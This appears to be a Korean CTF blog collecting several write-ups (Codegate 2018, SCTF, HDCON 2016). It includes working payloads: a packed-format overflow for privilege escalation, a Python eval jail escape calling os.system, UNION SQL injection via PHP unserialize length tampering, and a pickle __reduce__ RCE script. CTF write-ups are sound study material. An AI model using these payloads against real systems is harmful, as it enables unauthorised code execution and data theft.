[Codegate 2018] WEB – rbSql

해당 문제는 소스를 공개하는 오픈소스 형태의 문제입니다. 가장 먼저 문제 페이지에 접속해보면..

ㅗㅜㅑ… 익숙한 페이지가 눈 앞에 나타납니다. 최근 몇년간의 국내 CTF를 참가해 웹 분야의 문제를 풀어보았다면 많이 봤을 크리스탈입니다. 딱 봤을 때 있는 기능이라면 Photo와 M/V가 있으며, Join과 Login 기능이 존재합니다. 문제 이름에 SQL이 들어가기 때문에 SQL Injection이라고 생각되지만, 자세한 것은 소스코드를 확인해봐야 알 것 같습니다.

문제 설명에 첨부되어있는 파일을 다운받아 압축을 해제하면 크게 두가지 메인 소스코드로 나뉘어져 있다는 것을 알 수 있습니다.

index.php와 dbconn.php입니다.

일반적으로 dbconn.php에는 해당 웹서버에서 사용하고 있는 데이터베이스에 대한 설정(아이디, 패스워드, 호스트, 포트, 사용할 DB명 등)을 담고 다른 페이지에서 import하여 사용하는 형태이지만, 이 문제는 달랐습니다. rbSql이라는 제목이 허투루 나온 것이 아니라 출제자 본인이 직접 생각하여 구현한 데이터베이스 형태인 것 같습니다. dbconn.php 내에는 저장할 데이터에 대한 파싱 방법, 패킹 방법, 그리고 데이터를 삽입/삭제/조회할 수 있는 기능들을 구현해 놓았습니다.

다음은 index.php와 dbconn.php의 소스코드입니다.

index.php

dbconn.php

 

자. 그럼 이 두 소스 내에 존재하는 취약점을 이용해 플래그를 얻어내야 하는데요, index.php의 하단을 살펴보면 ‘lvl’ 세션이 2일 경우(Admin의 권한일 경우) 플래그를 출력하도록 되어있습니다.

flag routine in index.php

또한 출력한 이후 해당 멤버의 정보를 삭제하는 기능이 포함되어 있는 것으로 보아 insert injection의 기운이 느껴졌습니다. 하지만 이 문제는 일반적인 SQL이 아닌 rbSql입니다. 따라서 dbconn.php 내에 포함되어 있는 기능들을 분석하여 데이터 삽입 시 취약한 부분을 찾아내 익스플로잇을 해야겠죠.

rbSql의 구조는 간단합니다.

rbSqlSchema라는 메인 스키마 파일이 존재하며, 이 파일이 관리하는 서브테이블(멤버테이블)들이 존재합니다. 각 서브테이블에 있는 데이터를 얻기 위해서는 rbSqlSchema를 참조하여 멤버 이름에 해당하는 서브테이블을 찾아가 패킹된 데이터를 파싱해야 합니다. 이를 위해 dbconn.php를 분석해보죠.

dbconn.php 내에는 rbSql, rbParse, rbPack, rbGetPath, rbReadFile, rbWriteFile로 총 6개의 함수가 존재합니다. 우리가 원하는 것은 회원가입 시 취약한 파라미터에 untrusted input을 삽입해 멤버 권한(lvl)을 2로 만드는 것입니다.

join_chk in index.php

index.php에서 회원가입을 수행하는 코드입니다. 전달 받는 파라미터는 uid와 umail, upw인데 uid의 경우 ctype_alnum 함수로 인해 알파벳과 숫자만을 입력받으며, upw의 경우 전달하기 전 이미 md5 hash 되기 때문에 공격 벡터로 적절하지 못합니다. 따라서 남은 파라미터는 umail이 될 것입니다.

회원가입 시 rbSql 함수의 create와 insert 기능을 수행하기 때문에 dbconn.php에서 이 부분을 집중적으로 확인해야합니다.

“create” of rbSql function in dbconn.php

create의 경우 SCHEMA 파일을 읽어온 후 3번째 데이터부터 현재 존재하는 서브테이블의 이름과 일치할 경우(멤버 이름 일치) 에러를 발생시킵니다. SCHEMA는 dbconn.php 상단부에 define 함수로 rbSqlSchema의 경로를 정의한 상수입니다. 이 부분을 통과하게 되면 새로운 서브테이블을 만들기 위해 rand 함수를 이용해 rbSql_[random value 16자리]의 파일명으로 서브테이블을 만들 준비를 하며, SCHEMA 파일에 해당 값을 입력합니다. 그리고 해당 파일을 생성 후 권한을 할당하고, index.php에서 전달받은 배열의 값을 서브테이블에 입력합니다.

“insert” of rbSql function in dbconn.php

이후 uid, umail, upw, uip, lvl의 값을 insert 기능을 이용해 create에서 만든 서브테이블에 입력합니다.

그럼 rbSql에서 값을 쓰고, 읽어오는 부분을 확인해봐야겠죠. 먼저 rbWriteFile부터 살펴봅시다.

rbWriteFile function in dbconn.php

먼저 파일 경로에 있는 파일을 불러오고, rbPack 함수를 이용해 파일의 내용을 패킹한 후 해당 경로에 있는 파일에 저장합니다.

rbPack function in dbconn.php

데이터를 패킹하는 rbPack 함수의 구조는 간단합니다. 여기서 dbconn.php 상단부에서 정의한 STR과 ARR 상수가 사용되는데, 이는 각각 0x01, 0x02입니다.

1. 만약 데이터가 string일 경우 0x01, 길이, 데이터의 형태로 저장이 됩니다.

2. 만약 데이터가 array일 경우 0x02, 배열의 갯수, …의 형태로 저장이 됩니다. 이 때 rbPack 함수가 재귀적으로 호출되기 때문에 뒤따라오는 데이터가 string일 경우 1번으로 갈 것이고, array일 경우 다시 2번을 수행하겠죠.

저희는 이를 확인하기 위해 직접 서버를 구축하여 테스트를 진행하였습니다.

쉽게 그림으로 설명하자면 빨간색은 데이터 타입(0x01은 string, 0x02는 array), 초록색은 배열의 갯수, 주황색은 string의 길이, 노란색은 data가 될 것입니다.

그럼 다음으로 rbReadFile을 살펴보죠.

rbReadFile function in dbconn.php

먼저 파일 경로에 있는 파일을 읽어온 후 rbParse 함수를 통해 데이터를 파싱합니다.

rbParse function in dbconn.php

rbParse 함수는 받아온 rawdata를 한 바이트씩 읽어들이는데, 여기서도 STR과 ARR이 사용됩니다.

만약 따라오는 데이터가 string일 경우 1의 값을 가지며 길이 값을 받아오고, 해당하는 길이만큼 parsed에 저장합니다.

string이 아닌 array일 경우 2의 값을 가지며 아래와 같은 프로세스를 가집니다.

1. 배열의 갯수 파싱

2-1. 이후 뒤따라오는 데이터가 또 다시 배열일 경우 해당하는 갯수만큼 string 값을 가져와 parsed에 저장(2차원 배열의 형태)

2-2. 이후 뒤따라오는 데이터가 string일 경우 해당하는 갯수만큼 string 값을 가져와 parsed에 저장(1차원 배열의 형태)

 

자, 익스플로잇에 필요한 메뉴 분석은 모두 끝마쳤습니다. 이제 이 정보를 이용해 umail 파라미터에 데이터를 삽입해 권한을 탈취해야합니다. 하지만 문제는 rbPack 함수의 내용을 토대로 생각해보면 아무리 umail 파라미터에 데이터를 삽입해도 결국 string이기 때문에 파싱 과정에서 해당 길이만큼 평문으로 인식해버린다는 점입니다.

join_chk in index.php

여기서 살펴볼 부분이 umail 파라미터에 대한 길이 제한입니다. hex value의 경우 값의 범위는 0x00~0xff까지입니다. 만약 0xff를 넘어가는 값이 올 경우 overflow로 인해 0x00이 되겠죠. umail의 길이제한을 다시 살펴보면 256바이트까지 입력을 받을 수 있도록 허용해두었습니다. 따라서 rbPack의 포맷을 맞춰 데이터를 삽입하고 256바이트까지 데이터를 입력해 umail의 길이를 00으로 바꾼다면 lvl의 값을 수정할 수 있습니다.

회원가입 시 fiddler를 이용하여 값을 변조하였습니다.

umail 파라미터에 삽입한 페이로드는 다음과 같습니다.

%01%20c4ca4238a0b923820dcc509a6f75849b%01%00%01%012AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

umail 이전의 패킹된 데이터는 0x01,0x00이기 때문에 0x01,0x20,md5 hash값을 넣어주면서 upw를 맞춰주었고, 0x01,0x00은 uip, 0x01,0x01,2는 lvl 부분입니다. 나머지는 256바이트를 맞춰주기 위한 더미 데이터입니다.

현재 페이지는 대회중 구축한 테스트페이지에 적용한 상태이며, 글을 쓰는 현재는 대회가 종료된 시점이기 때문에 실서버에 대한 캡처는 하지 못했습니다.

아무튼 위와 같은 페이로드로 admin의 권한을 획득할 수 있었으며, 플래그를 얻어냈습니다.

 

FLAG : FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}

[Codegate 2018] Rev – RedVelvet

Happiness! 뮤비 한번 보고 갑시다.

파일을 다운로드 후 압축을 풀면 RedVelvet이라는 파일이 하나 나타납니다. 이는 64bit ELF 파일입니다.

먼저 실행시켜봅시다.

Your flag : 라는 문자열이 나타나고, 입력을 기다립니다. 아무 문자열이나 입력해주면 실행이 그냥 종료되는데, 특정한 조건을 맞춰 입력하지 않으면 exit()을 실행하여 프로그램을 종료시키는 형태인 것 같습니다.

IDA에 올린 후 String view를 이용해 살펴보면 위와 같이 flag를 출력하는 부분임을 암시하는 문자열이 존재합니다. 이를 따라가보면 main함수를 확인할 수 있습니다.

메인함수 내에는 위와 같은 형태로 프로세스를 진행하는데, func1~func15가 메인 프로세스이며, 마지막 비교 구문을 통해 플래그를 출력해줍니다. func1~func15를 살펴보면 이전 함수의 두번째 파라미터가 다음 함수의 첫번째 파라미터로 들어가는 것으로 보아 한글자 한글자씩 비교하는 형태로 보이며, 이를 모두 만족했을 경우 도출되는 문자열을 SHA256 알고리즘으로 해시 후 s2~v47에 해당하는 해시값과 동일할 경우 플래그임을 알려줍니다.

딱 봐도 angr를 이용하면 슥삭 할 수 있을 것 같은 문제지만, 저는 리알못이기 때문에 angr 대신 z3를 이용해 한글자 한글자 맞춰보는 삽질을 했습니다.

gdb를 이용해 main함수를 살펴보면 func1 함수의 인자로 esi, edi를 넘겨줍니다.

main+257의 위치에 breakpoint를 걸고 해당 값을 확인해봅시다.

예상대로 1234를 입력했을 경우 1, 2를 순서대로 파라미터로 받는 것을 알 수 있습니다.

이제 IDA로 돌아와서 함수들의 조건을 맞춰 HAPPINESS:)를 출력할 수 있도록 조건을 확인해봅시다. 앞서 말했던대로, 저는 z3를 이용하여 한글자 한글자 추려냈습니다.

한글자 한글자 삽질하며 찾아가다 보면 What_You 와 같이 문장으로 예상되는 단어가 나타납니다.

???????

Be? 이후 나머지 함수들의 결과를 찾아가다 보면 아래와 같은 플래그를 찾아낼 수 있습니다.

FLAG : What_You_Wanna_Be?:)_la_la

[Codegate 2018] Misc – Impel Down

문제의 description은 별다른 내용이 없고 nc 호스트와 포트만 존재합니다.

서버에 접속해보면 python이 돌아가고 있으며, 전형적인 python jailbreak 문제인 것으로 예상해 볼 수 있습니다. 해당 스크립트는 약 10초가 지나면 timeout 되어 접속이 종료되며, 해당 시간 내에 flag를 획득해야 하는 형태입니다.


Name에 임의의 문자를 넣은 후 4가지 메뉴 중 하나를 선택하여 입력하면 해당 기능이 수행되며, “dig a”와 같이 untrusted input을 전달하게 되면 에러가 발생하게 됩니다.

에러 내용을 살펴보면 해당 work 변수에 우리가 입력한 명령이 들어가게 되며, 결과적으로 eval 함수를 이용해 “your.[명령]()”와 같은 형태로 명령이 실행됩니다. your은 클래스의 인스턴스라고 예상해 볼 수 있고, dig와 같은 명령들은 이에 속하는 함수들이라고 볼 수 있겠죠. 이 때 eval 함수를 사용하기 때문에 우리가 원하는 명령을 실행시킬 수 있는 가능성이 생겼습니다.

파이썬의 eval 함수에서는 ,(comma)를 이용하여 복수의 명령을 실행할 수 있습니다.

이런식으로 말이죠.

이 특성을 이용해 work 변수에 아래와 같은 명령을 삽입할 수 있습니다.

dig(), [임의 명령], your.dig

이와 같이 입력하게 되면 eval에 들어가는 명령은 “your.dig(), [임의 명령], your.dig()”가 될 것이며 이로 인해 dig 함수는 총 2번 실행되고, 그 사이에 우리가 원하는 명령을 수행할 수 있습니다.

dig,__import__(‘os’).system(‘ls’),your.dig

따라서 위와 같은 명령을 통해 쉘 명령을 내릴 수 있지만, 해당 스크립트에서는 _(underbar)가 들어갈 경우 필터링 후 종료시켜버리기 때문에 다른 방법을 찾아야 했습니다.

여기서 생각할 수 있는 것은 _를 사용하지 않고 os모듈을 import 하거나, 다른 변수에 값을 할당해 이를 eval로 실행하는 것이 될 것입니다. 1번 방법은 대회 중 떠오르지 않아 실패했지만 2번의 경우 스크립트 시작 당시 Name에 변수를 받지만 별다른 필터링이 적용되어있지 않아 이를 이용할 수 있겠다고 생각하였습니다. 따라서 Name에 __import__(‘os’).system(‘ls’)와 같은 쉘 명령을 실행시킬 수 있는 명령어를 입력 후 work에서 eval을 이용해 이를 실행시키는 형태로 진행하였습니다.

해당 writeup은 대회 종료 후 추출한 소스코드를 이용해 로컬에서 돌리고 있는 상황이라 로컬의 ls 결과가 출력되었습니다. 아무튼 이와 같은 형태로 쉘 명령을 실행시킬 수 있으며, “cat Impel_Down.py” 등의 명령을 통해 소스코드를 추출할 수 있습니다.

Impel_Down.py

 

소스코드를 살펴보면 FLAG 파일은 root 경로에 존재하며, 실행 시 FLAG를 얻을 수 있다고 합니다.

name : __import__(‘os’).system(‘/FLAG_FLAG_FLAG_LOLOLOLOLOLOL’)

work : dig,eval(name),your.dig

 

이와 같이 수행하게 되면 플래그를 얻어낼 수 있습니다.

 

FLAG : Pyth0n J@il escape 1s always fun @nd exc1ting ! 🙂

'CTF > CodeGate 2018 Qualifier' 카테고리의 다른 글

[Codegate 2018 Qualifier] Web – rbSql  (1) 2019.02.16
[Codegate 2018 Qualifier] Rev – RedVelvet  (0) 2019.02.16

Attack - Letter To Me(300 pts)




문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.


sql 파일을 살펴보면 아래와 같다.





메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.




register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.




관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.




index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.




이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.




위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.



<?php
  function generateRS($length = 64) {
     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
     $charactersLength = strlen($characters);
     $randomString = '';

     $urandom = fopen("/dev/urandom", "rb");
     for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)];
     }
     return $randomString;
  }


  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

  require "models.php";
  if(isset($letter))
  {
     $note = new note();
     $note->user = $_SESSION['user'];
     $note->letter = $letter;

     if($_FILES['file']['size'] > 0)
     {
        if($_FILES['file']['size'] > 30)
        {
           echo "too big";
        }
        else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name']))
        {
           echo "error1";
        }
        else
        {
           $uploadfile = "/var/www/html/uploads/".generateRS();
           if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
           {
              $fname = $_FILES['file']['name'];
              $note->addfile($fname, $uploadfile);
           }
           else
           {
              echo "error2";
           }
        }
     }
     $note->add();
  }
?>

send.php




<?php
  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

 require "models.php";
 $user = $_SESSION['user'];
 $user = mysql_real_escape_string($user);
 $DB->execute("select data from notes where username=\"${user}\"");
 $notes = $DB->fetch_all();

 foreach($notes as $note)
 {
    $note = unserialize($note);

    echo "<br>";
    $letter = $note->letter;
    $info = $note->resolve_file();
    echo "<div class=\"container\">";
    echo "<blockquote>";
    echo "<p>${letter}</p>";
    if(isset($info))
    {
       $path = $info[1];
       $name = $info[0];
       echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>";
   }
    else
      echo "<footer>Attached file: None</footer>";
      echo "</blockquote>";
   echo "</div>";
  }
?>

show.php




<?php
 class db
 {
    public $conn, $res;
    function __construct()
    {
       global $servername, $username, $password, $db_name;
       $this->conn = mysql_connect($servername, $username, $password) or die("connect error");
       mysql_select_db($db_name);
    }

    function execute($query)
    {
       $this->res = mysql_query($query) or die("SQL ERROR");
    }

    function fetch_all()
    {
       $res = array();
       while($row = mysql_fetch_row($this->res))
       {
      echo $row[0];
          array_push($res, $row[0]);
       }
       return $res;
    }

    function fetch_arr()
    {
       return mysql_fetch_array($this->res);
    }

    function fetch_one()
    {
       $res = mysql_fetch_row($this->res);
       return count($res) > 0 ? $res[0] : NULL;
    }

    function get_auto_incre()
    {
       return mysql_insert_id();
    }

 };


 $DB = new db();


 class note
 {
    public $user, $letter, $attached_file;

    function addfile($realname, $filename)
    {
       global $DB;

       $realname = mysql_real_escape_string($realname);
       $filename = mysql_real_escape_string($filename);

       $DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")");
       $this->attached_file = $DB->get_auto_incre();

    }

    function add()
    {
       global $DB;
       $str = serialize($this);
       $str = $this->filter($str);

       $user = mysql_real_escape_string($this->user);
       $str = mysql_real_escape_string($str);
       $DB->execute("insert into notes values (\"${user}\", \"${str}\")");
    }

    function filter($str)
    {
       global $profanity_word_replace;
       $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l");
       foreach($filter_word as $word)
       {
          $replace = str_repeat($profanity_word_replace, strlen($word));
          $word = preg_quote($word);
          $str = eregi_replace($word, $replace, $str);
       }
       return $str;
    }

    function resolve_file()
    {
       global $DB;
       $id = $this->attached_file;
       if($id)
       {
         $DB->execute("select realname, path from files where id=${id}");
         return $DB->fetch_arr();
      }
      return NULL;
    }
 };

?>

models.php


위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.


send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서  DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.

그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.




# table name

f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}


# column name

f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1


# flag

f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1


위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다


FLAG : SCTF{Enj0y_y0ur_0nly_life}

Coding - Buildingblocks(250 pts)




문제를 확인해보면 별다른 설명은 없고 nc 주소만 나와있다.



해당 서버에 접속을 해보면 10개의 스테이지로 나뉘어진 문제가 나타나며, 아래의 리스트는 base64로 인코딩 된 x64 코드 블록이며,  segmentation fault가 없도록 잘 조합하여 sha256으로 hash하여 보내라고 한다. 약 1분~2분정도의 timeout이 걸려있으며 이 시간 내에 코드 블록들을 조합하여 보내야한다.





#coding: utf-8
from pwn import *
import hashlib
import sys

def divide(t, idx, s, d, g):
   if t[idx] == '\xb8':
       a = 'mov eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s = int(b,16)
   elif t[idx] == '\x2d':
       a = 'sub eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s -= int(b,16)
   elif t[idx] == '\x05':
       a = 'add eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s += int(b,16)
   elif t[idx] == '\x74':
       a = 'je 0xf\nmov eax, 0x0\nmov eax,'
       b = 'DWORD PTR [eax]'
       c = 10
   elif t[idx] == '\xf7':
       a = 'mul'
       b = 'edx'
       c = 2
       s *= d
   elif t[idx] == '\xba':
       a = 'mov edx,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       d = int(b,16)
   elif t[idx] == '\x3d':
       a = 'cmp eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       g = int(b,16)
   elif t[idx] == '\x48':
       a = 'mov rax, 0x3c\nmov rdi,'
       b = '0x0\nsyscall'
       c = 16
   s &= 0xffffffff
   return a, b, c, s, d, g

r = remote("buildingblocks.eatpwnnosleep.com", 46115)
for q in range(10):
   print r.recvuntil(")\n")
   data = r.recvuntil("]")
   data = eval(data)

   blocks = []

   res = ""
   for d in data:
       blocks.append(base64.b64decode(d).encode('hex'))

   #print blocks

   sum_list = []
   goal_list = []
   start = 0

   for b in blocks:
       block = b.decode('hex')
       idx = 0
       d = 0
       s = 0
       g = 0
       print "[*] {} block.".format(blocks.index(b))
       if block[0] == '\xb8':
           start = blocks.index(b)
       while idx < len(block):
           inst, value, i, s, d, g = divide(block, idx, s, d, g)
           idx += i
           print inst, value
       
       sum_list.append(s)  
       goal_list.append(g)
       print "[+] sum : {}\n".format(hex(s))

   print sum_list
   print goal_list
   print start

   cnt = 0
   now = start
   res = [start,]
   while cnt < len(blocks)-1:
       next = goal_list.index(sum_list[now])
       now = next
       cnt += 1
       res.append(now)

   key = ""
   for i in range(len(blocks)):
       key += blocks[res[i]].decode('hex')

   key = hashlib.sha256(key).hexdigest()
   r.sendline(key)

print r.recvuntil("}")

payload.py


위의 페이로드를 날려주면 아래와 같이 플래그를 얻어낼 수 있다.




FLAG : SCTF{45m_d1545m_f0r3v3r}

Attack - Easyhaskell(200 pts)




문제를 확인해보면 Haskell로 짜여진 바이너리인 것 같다. 문제 설명의 플래그를 확인해보면 뭔가 암호화 된 것 같다. 이를 분석하기 위해 IDA로 열어보았으나, 함수가 너무 많고 알아볼 수 없어 실행을 시켜보았더니 플래그 포맷과 비슷한 문자열이 나타났다. 실행 시 argv에 값을 넣어봐도 변하지 않는 것과, stdin 등으로 입력을 받는 부분이 없는 것으로 보아 파일명을 이용하여 암호화를 할 것이라고 생각했다.




파일명을 바꿔서 실행시켜보니 예상했던대로 다른 문자열이 나타났다. 플래그 포맷이 SCTF{...}이기 때문에 SCTF{로 파일명을 바꿔 보냈더니 플래그와 일치하는 부분이 나타났다. 이를 이용하여 브루트포싱 스크립트를 작성하여 플래그를 얻어냈다.






#coding: utf-8
import os, re
import time

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
goal = "=ze=/<f"

strings = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*-=+~?"

while 1:
       n = raw_input(">> ")
       name = ""
       for i in strings:
               l = os.listdir('.')
               for j in l:
                       if "SCTF" in j:
                               name = j
               next = "SCTF{"+n+i+"}"
               os.rename(name, next)
               print next
               p = os.popen("./"+next).read()
               print p
               if goal in p:
                       print next
                       break
               time.sleep(0.05)

payload.py


FLAG : SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}

Defense - Dfa(100 pts)



Dfa 문제는 1개의 취약점을 가진 소스를 던져준다. 이 소스에서 취약점을 발견하여 패치 한 후 서버로 패치된 소스를 넘기면 플래그를 얻을 수 있다. 일반적으로 스택이나 힙에서 발생하는 취약점의 경우 길이에 관련된 경우가 많기 때문에 node를 추가하거나 삭제하는 부분에서의 길이 검증 루틴에서 취약점이 발생할 것이라 생각하고 add_node 함수 부분에서 linebuf 변수의 길이를 0x100에서 0x1000으로 늘려주었다. 그리고 아래와 같은 페이로드를 작성하여 플래그를 획득할 수 있었다.



#coding: utf-8
from pwn import *
import sys
import base64

r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("finish\n")
r.sendline("auto.c")
print r.recvuntil("base64 : ")

with open("in.txt","r") as f:
       src = f.read()

data = base64.b64encode(src)
print data
r.sendline(data)
print r.recvuntil("good\n")
print r.recvuntil("runner.c\n")
print r.recvuntil("pass\n")
while 1:
       print r.recv(1),

payload.py


FLAG : SCTF{simple patch tutorial}

Attack - Readflag(100 pts)


readFlag.tar의 압축을 풀어보면 dump.py와 send.sh가 있는 것을 확인 할 수 있다. 각각의 소스는 아래와 같다.


from pickle import dumps


print dumps([1, 2, 3])+'#'

dump.py


#!/bin/bash
python dump.py | nc 0 55402


send.sh


이는 dump.py에서 pickle 모듈을 이용하여 pickling을 한 후 55402 포트로 해당 데이터를 보내는 것을 확인 할 수 있다. 여기에서 dump.py 대신에 pickle 취약점을 이용한 공격코드를 작성하여 pickling 한 후 해당 서버로 데이터를 전송한다면 RCE가 가능하다.


#coding: utf-8
from pwn import *
from cPickle import dumps
import os

payload = "open('test.py').read()"

class exploit(object):
       def __reduce__(self):
               return (eval, (payload,))

pd = dumps(exploit())
r = remote("readflag.eatpwnnosleep.com", 55402)

r.send(pd+"#")
print r.recv(2048)

payload.py


위와 같이 페이로드를 작성하여 날려주면 __reduce__메소드에서 튜플의 형태로 함수 또한 리턴하며 원격 서버에서 RCE가 발생한다. 이 때, 의도적으로 오류를 발생시킬 경우 서버의 파일명인 “test.py”를 알 수 있으며, 이를 open하여 파일의 내용을 읽어올 수 있다.

굳이 이렇게 사용하지 않고 __file__이나 sys.argv를 사용하여 실행되는 파일명을 알아낼수도 있다.

test.py 안의 내용을 살펴보면 flag를 얻어낼 수 있다.


FLAG : SCTF{3a5y_e4zy_p1ckl1ng}

흐드콘 첫날 아침부터 


1. 독도 수호 마라톤 10km에.. 

2. BOB 프로젝트 중간발표

3. 회식


3콤보에 당하고 밤 11시에 잠깐 웹2번 깔짝대다 피곤해서 잠들었습니다...

오늘 아침 8시쯤에 일어나서 웹3번 잠깐 보다가 시스템같아서 던지고..

4번으로 넘어가서 거의 다 풀었는데 시간이 모잘라서 못푸는 등..

아쉬운 점이 많았던 흐드콘이었습니다.


뭔가 첫날부터 제대로 조졌으면 랭크테이블에는 올릴 수 있었을 것 같은데.. 유감.




다들 고생했습니다!

RebForPwn 팀

- k3y6reak, wjdebug, 호롤룰루

'CTF > HDCON 2016' 카테고리의 다른 글

[HDCON 2016] WEB_4(2-4)..Unsolved  (0) 2016.10.16
[HDCON 2016] WEB_2(2-2)  (0) 2016.10.16

+ Recent posts